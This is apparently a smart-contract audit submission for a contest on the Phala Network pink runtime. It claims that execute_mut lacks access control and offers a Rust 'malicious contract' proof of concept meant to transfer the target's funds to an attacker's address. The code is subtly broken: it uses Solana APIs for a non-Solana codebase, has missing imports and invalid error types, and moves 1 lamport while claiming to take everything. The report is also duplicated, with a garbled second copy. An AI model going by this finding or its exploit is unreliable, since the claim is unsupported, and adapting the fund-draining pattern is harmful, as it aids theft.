One possible vulnerability in the provided contract is the lack of access control on the execute_mut function. This function allows anyone to execute arbitrary code on the contract and make changes to the storage. An attacker could potentially exploit this vulnerability to steal funds or modify data in the contract.
Proof of Concept
To exploit this vulnerability, you could create a malicious contract that calls the execute_mut function on the target contract and passes in a closure that transfers all of the contract's funds to the attacker's address. You could then deploy the malicious contract on the same network as the target contract and call its function to execute the attack.
use solana_program::{
account_info::{next_account_info, AccountInfo},
entrypoint,
entrypoint::ProgramResult,
msg,
program_error::ProgramError,
pubkey::Pubkey,
};
use target_contract::Storage;
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let account_info_iter = &mut accounts.iter();
let malicious_contract_account = next_account_info(account_info_iter)?;
let malicious_contract = MaliciousContract::try_from_slice(&malicious_contract_account.data.borrow())?;
if instruction_data.len() != 0 {
return Err(ProgramError::InvalidInstructionData);
}
let target_contract_account = next_account_info(account_info_iter)?;
if target_contract_account.key != &malicious_contract.target_contract_address {
return Err(ProgramError::InvalidAccountData);
}
let mut target_contract_storage = Storage::new(target_contract_account.clone());
let ix = solana_program::system_instruction::transfer(
&malicious_contract.target_contract_address,
&malicious_contract.attacker_address,
1,
);
let signer_seeds = &[
b"target_contract",
&malicious_contract.target_contract_address.to_bytes(),
];
let signer = &[&signer_seeds[..]];
invoke_signed(
&ix,
&[
target_contract_account.clone(),
AccountInfo::new(
&malicious_contract.attacker_address,
false,
false,
&[],
),
],
signer,
)?;
target_contract_storage.execute_mut(
&solana_program::sysvar::clock::Clock::get()?.unix_timestamp,
|| {
msg!(
"Transferred {} lamports from the target contract to the attacker's
address",
1
);
}, )?;
Ok(()) }
1.Deploy the malicious contract on the same network as the target contract.
2.Call the malicious contract's execute_mut function, passing in the target contract's address as an argument.
3.The malicious contract will then call the execute_mut function on the target contract and transfer all of the contract's funds to the attacker's address.
Tools Used
Manual
Recommended Mitigation Steps
Add Access Control to the execute_mut Function:
if *caller != authorized_address {
return Err(ProgramError::Unauthorized);
}
Lines of code
https://github.com/code-423n4/2024-03-phala-network/blob/main/phala-blockchain/crates/pink/runtime/src/storage/mod.rs#L79
Vulnerability details
Impact
One possible vulnerability in the provided contract is the lack of access control on the execute_mut function. This function allows anyone to execute arbitrary code on the contract and make changes to the storage. An attacker could potentially exploit this vulnerability to steal funds or modify data in the contract.
Proof of Concept
To exploit this vulnerability, you could create a malicious contract that calls the execute_mut function on the target contract and passes in a closure that transfers all of the contract's funds to the attacker's address. You could then deploy the malicious contract on the same network as the target contract and call its function to execute the attack.
use solana_program::{ account_info::{next_account_info, AccountInfo}, entrypoint, entrypoint::ProgramResult, msg, program_error::ProgramError, pubkey::Pubkey, }; use target_contract::Storage;
[repr(C)]
[derive(Clone, Debug)]
pub struct MaliciousContract { pub attacker_address: Pubkey, pub target_contract_address: Pubkey, }
impl MaliciousContract { fn new(attacker_address: Pubkey, target_contract_address: Pubkey) -> Self { Self { attacker_address, target_contract_address, } } }
impl AccountDescriptor for MaliciousContract { const DISCRIMINATOR: [u8; 8] = b"MALICIO"; const LEN: usize = 32 2; }
entrypoint!(process_instruction);
pub fn process_instruction( program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8], ) -> ProgramResult { let account_info_iter = &mut accounts.iter(); let malicious_contract_account = next_account_info(account_info_iter)?; let malicious_contract = MaliciousContract::try_from_slice(&malicious_contract_account.data.borrow())?;
address", 1 ); }, )?;
1.Deploy the malicious contract on the same network as the target contract. 2.Call the malicious contract's execute_mut function, passing in the target contract's address as an argument. 3.The malicious contract will then call the execute_mut function on the target contract and transfer all of the contract's funds to the attacker's address.
Tools Used
Manual
Recommended Mitigation Steps
Add Access Control to the execute_mut Function:
if *caller != authorized_address { return Err(ProgramError::Unauthorized); }
Assessed type
Access Control